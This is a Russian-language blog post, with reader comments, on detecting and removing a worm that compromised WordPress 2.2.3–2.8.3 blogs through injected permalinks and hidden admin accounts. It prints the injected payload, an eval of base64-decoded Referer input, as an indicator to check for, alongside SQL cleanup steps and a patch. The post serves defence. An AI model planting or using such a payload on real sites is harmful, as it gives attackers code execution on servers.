За прошедшие выходные от взлома пострадал не один десяток блогов. Взлому подвергались почти все блоги на которых был установлен WordPress от версии 2.2.3 до версии 2.8.3 (версия 2.8.4 не имеет данной уязвимости).
Уязвимость заключается в том что, червь регистрируется у Вас в блоге (не важно включена ли регистрация или нет), попадает на страницу постоянных ссылок (permalink) и добавляет в них вредоносный код. Затем повышает себя до уровня админа и при этом скрывает свое существование, т.е. в списке пользователей его видно не будет. После этого вирус добавляет спам ссылки в архивные топики.
Обнаружить взломан Ваш блог или нет можно по выполнив следующие действия:
1) Проверить структуру ЧПУ (Админка - Параметры - Постоянные ссылки) на вредоносный код по типу:
/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}} - если он есть то убрать его. (восстановив прежний вид ЧПУ).
2) Проверить количество администраторов блога (Админка - Пользователи - вверху страницы строка со всеми пользователями и их количеством), убедиться что на блоге только ОДИН администратор. Если администраторов больше одного то нужно удалить лишних, при этом в списке пользователей их может быть не видно. Существует несколько способов найти и удалить лишних админов, но на мой взгляд самый точный и самый удобный воспользоваться phpMyAdmin.
Запрос который необходимо выполнить к базе данных блога выглядит вот так:
SELECT u.ID, u.user_login FROM wp_users u, wp_usermeta um WHERE u.ID = um.user_id AND um.meta_key = 'wp_capabilities' AND um.meta_value LIKE '%administrator%';
Далее просто выбираем лишних админов и удаляем их.
Чтобы избежать повторного взлома или избежать взлом (тем кого к счаcтью не взломали) можно обновиться до версии WordPress 2.8.4. Для кого обновление это не вариант можно воспользоваться способом который придумал уважаемый Юрий Белотицкий (более известный как ЮБ). Для этого просто зайдите в папку /wp-includes/ и найдите там файл vars.php. После строки:
$pagenow = $self_matches[1];
добавьте еще одну строку
$pagenow = trim($pagenow, '/');
После этого Ваш блог должен быть защищен (на всех своих блогах я выполнил данную процедуру и тьфу-тьфу все нормально).
На этом защита (очистка) Вашего сайта завершена. Если появится еще какая либо информация я обязательно отпишусь.
У меня 2.8.3 и эта строка есть, странно...
Мораль сей басни такова... ставьте обновления сразу 😀
на блогах все пучком, стоит последняя версия 🙂
Какой гадкий червечишко! =) Ишь чего удумал - блоги ломать.
А что слышно про версии ниже второй? у меня стоят 1.5.2, обновляться совсем не хочется 8)
Касается ли это и блогов на WordPress MU?
Спасибо. Нашел администратор в базе. Удалил. Обновился.
Только на днях натолкнулся на такой url %&({${eval(base64_decode($_SERVER[HTTP_REFERER])) на каком-то блоге в рунете, думал бага какая-то.
Спасибо за информацию по самозащите! Тока восстановил работу сайта, траффик обнулился совсем... ;(
Существует несколько способов найти и удалить лишних админов, но на мой взгляд самый точный и самый удобный воспользоваться phpMyAdmin.
Запрос который необходимо выполнить к базе данных блога выглядит вот так...
Не профессионал я совсем, нашел лишнего админа у себя. Но...
Вы объясните как и где сделать этот запрос, куда залезть(где это) и где что исправить.
Спасибо заранее за ответ!
Спасибо большое! Вот теперь все понятно. Просто не знал где находится этот phpmyadmin.
Побеспокою еще Вас. Удаляю я этого пользователя в SQL, а он мне вот что выдает и не удаляет его, что это подскажите и как быть?
SQL-запрос:
DELETE FROM `wp_users` WHERE `u`.`ID` =302 LIMIT 1
Ответ MySQL: Документация
#1054 - Unknown column 'u.ID' in 'where clause'
Все я убил этого гада. Поделюсь как это получилось у меня. По запросу автора, которым он поделился, он у меня вылез этот левый админ, я его убивать а он не поддается. В итоге пошарив еще инет, нашел следующее, что и помогло:
Открыл в базах
wp_usermeta и wp_users, а там выдало много записей на этого админа, удалил их все там, а потом уже в юзерах его и грохнул.
Ничего особенного, но тем не менее уточнение, для таких не профессионалов как я. Спасибо!
Да черт его знает... Внимание на это обратил может недели 2 назад, что админа 2, посмотрел, видно только меня было. Значения этому не придал никакого, пока не начались левые атаки на админку моего блога. Полез смотреть инфу по безопасности блога и наткнулся на этот материал, ну и все понял тогда по этим левым админам. Теперь установил всякой защиты и по спокойней стало.
Я вот задавал выше вопрос, что очистил эту гадость, блог работал и работает исправно. Обязательно необходимо обновляться, чем может отразиться пребывание этой заразы на моем блоге определенное время?
Блин, а мне вот не помогает... Админов нет. Код весь вычищаю, путем копирования файлов на комп. Потом в каждом файле удаляю сторочки с лишним кодом (программой TextReplacer). Потом перезаливаю. Неделю работает нормально, а потом опять фигня такая... Код вида "*/GNU GPL/*..."
Сегодня какой-то другой вылез... Но тоже такого вида, с теми же попытками сходить на какой-то ресурс. NOD32 пока пресекает эти попытки, но надолго ли...
Версия WordPress - 2.9
Я поставил антивирус на блог, плюс еще файервол. Антивирус нашел левые коды один раз как установил его. Я вычистил, все проблем нет. Проверяю теперь постоянно. А файервол блокирует даже мои попытки изменить коды. Т.е забил один IP свой в разрешенные и все. Атаки он обнаруживает сразу, но таковых не было, кроме меня самого 🙂 А так тьфу, тьфу избавился и теперь вооружился до зубов. Плюс поставил плагин скрывающий версию вордпресса и изменил себя с имени админ на другое.
Neolot, посмотрел действительно есть, в 2.8.2 уже точно нет. Но однако вроде я слышал что блог на 2.8.3 тоже ломали, хотя может и путаю. На 2.8.2 точно ломали - читал на одном из блогов.
coyc, тут ты тоже не совсем прав, даже посмотреть как появлялась версия 2.8, одна за другой уязвимостью... Тут наверное золотой серединой будет обновляться, но не сразу, но в это время почитывать блоги, и установить пару простейших плагинов,анти-хсс, беливар, бэкапить базу и т.д. и тогда можно ничего не боятся 8)